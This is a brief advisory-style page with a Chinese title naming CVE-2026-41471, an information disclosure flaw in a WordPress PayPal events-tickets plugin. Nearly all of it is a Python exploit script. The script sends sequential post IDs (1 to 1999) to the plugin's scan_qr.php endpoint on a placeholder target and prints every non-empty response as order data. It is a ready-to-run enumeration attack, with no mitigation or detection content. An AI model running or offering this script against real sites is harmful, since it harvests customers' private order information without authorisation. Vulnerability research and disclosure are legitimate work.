CVE-2026-41471 WP插件信息泄露漏洞

import requests # Target URL of the vulnerable endpoint # Replace 'target.com' with the actual victim domain target_url = "http://target.com/wp-content/plugins/easy-paypal-events-tickets/scan_qr.php" print("Starting ID enumeration...") # Iterate through sequential WordPress Post IDs for post_id in range(1, 2000): # Construct payload params = {'id': post_id} try: response = requests.get(target_url, params=params, timeout=5) # Check if response indicates valid order data # Adjust condition based on actual response structure if response.status_code == 200 and len(response.text) > 0: # Filter out empty or non-order responses if necessary print(f"[+] Data found for ID {post_id}:") print(response.text) print("-" * 40) except requests.exceptions.RequestException as e: print(f"[-] Error connecting to server: {e}") break print("Enumeration completed.")